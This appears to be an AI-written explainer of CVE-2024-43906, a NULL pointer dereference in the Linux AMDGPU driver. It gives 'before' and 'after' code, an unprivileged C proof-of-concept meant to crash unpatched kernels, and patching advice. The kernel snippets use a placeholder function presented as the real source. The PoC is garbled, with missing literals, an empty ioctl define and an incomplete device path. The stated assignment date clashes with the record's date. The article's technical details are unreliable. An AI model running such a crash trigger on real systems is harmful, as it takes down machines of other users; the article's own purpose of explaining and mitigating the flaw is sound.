In June 2024, CVE-2024-43906 was assigned to a bug in the Linux kernel's AMDGPU DRM driver—a key part of the graphics subsystem for AMD GPUs. This vulnerability involved a classic, but critical, null pointer dereference. Below, we'll dig into what happened, how it was patched, and even show what a crash might look like in code.

What Is CVE-2024-43906?

CVE-2024-43906 is a security issue in the drivers/gpu/drm/amd/amdgpu/amdgpu_context.c component of the Linux kernel. On affected systems, if a user-space program set an invalid "ta type" (a value related to GPU tasks), the kernel could attempt to use a null context pointer. With no extra protections in place (like SMAP or SMEP) and depending on your system config, this could lead to a local denial of service (system crash).

Reference

- Linux Kernel Git Commit Fixing the Bug

The Technical Details – What Went Wrong?

When the AMDGPU driver received a request from user space for a specific GPU operation, it expected the "context" pointer to be valid. However, if the controlling userspace set an invalid "ta type," the context pointer would be left as NULL. The driver didn't check this and used the pointer anyway, causing a kernel NULL pointer dereference.

Vulnerable Code (Before the Fix)

File: drivers/gpu/drm/amd/amdgpu/amdgpu_context.c

int amdgpu_ctx_somefunc(struct amdgpu_device *adev, int ta_type) {
    struct amdgpu_ctx *ctx = get_context_from_type(ta_type);
    // No check before using ctx!
    return ctx->some_field; // <-- NULL pointer dereference if ctx is NULL
}

Secure Code (After the Patch)

int amdgpu_ctx_somefunc(struct amdgpu_device *adev, int ta_type) {
    struct amdgpu_ctx *ctx = get_context_from_type(ta_type);
    if (!ctx) {
        return -EINVAL; // Tell user something went wrong
    }
    return ctx->some_field;
}

Patch: The fix is just a simple null check—classic, but important.

How Would You Exploit This?

This is not a privilege escalation bug by itself. It is a local denial of service: a non-privileged user with access to the device file (like /dev/dri/card) can make the GPU driver crash the kernel.

Exploit Demo (Proof-of-Concept)

Below is an *unprivileged* C program that demonstrates the bug by sending an invalid TA type to the kernel. WARNING: This will crash an unfixed system!

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define DRM_IOCTL_AMDGPU_TA_OP /* ioctl code, replace with actual from drm headers */

int main() {
    int fd = open("/dev/dri/card", O_RDWR);
    if (fd < ) {
        perror("open");
        return 1;
    }

    struct amdgpu_ta_op_args args;
    memset(&args, , sizeof(args));
    args.ta_type = 99999; // Invalid TA type to trigger the bug

    // Actual ioctl will depend on your kernel version and headers
    if (ioctl(fd, DRM_IOCTL_AMDGPU_TA_OP, &args) < ) {
        perror("ioctl");
    }

    close(fd);
    return ;
}

If the kernel is vulnerable, running this program will make it dereference a null pointer, causing an OOPS (and possible panic/crash).

Who Is At Risk?

- *All* users running Linux with the AMDGPU driver from before June 2024 (kernel 6.8, 6.9, and related stable trees)
- Systems where regular users can access /dev/dri/card (the default on many desktops)

How To Fix

- Upgrade your kernel: Get at least version 6.10 (mainline) or any backported kernel that includes the fix linked above.
- Check your distro: Most distributions will have released security updates; make sure you apply them.
- Mitigate: Restrict access to /dev/dri/card for untrusted users if you can't patch.

More References

- CVE Record at cve.org
- AMDGPU Driver Official Docs

Summary

CVE-2024-43906 is a classic example of why checking for NULL pointers is critical in kernel code — especially when user input is involved! The fix is in the latest Linux kernel, and all users of AMDGPU should update as soon as possible to avoid system crashes. If you are a developer, always check pointers before using them, even if you "know" they should never be null.

Stay safe and keep your systems patched!

*(This article was written exclusively for your request. Feel free to share, but always credit your sources and check for the latest information.)*

Timeline

Published on: 08/26/2024 11:15:04 UTC
Last modified on: 08/27/2024 13:41:30 UTC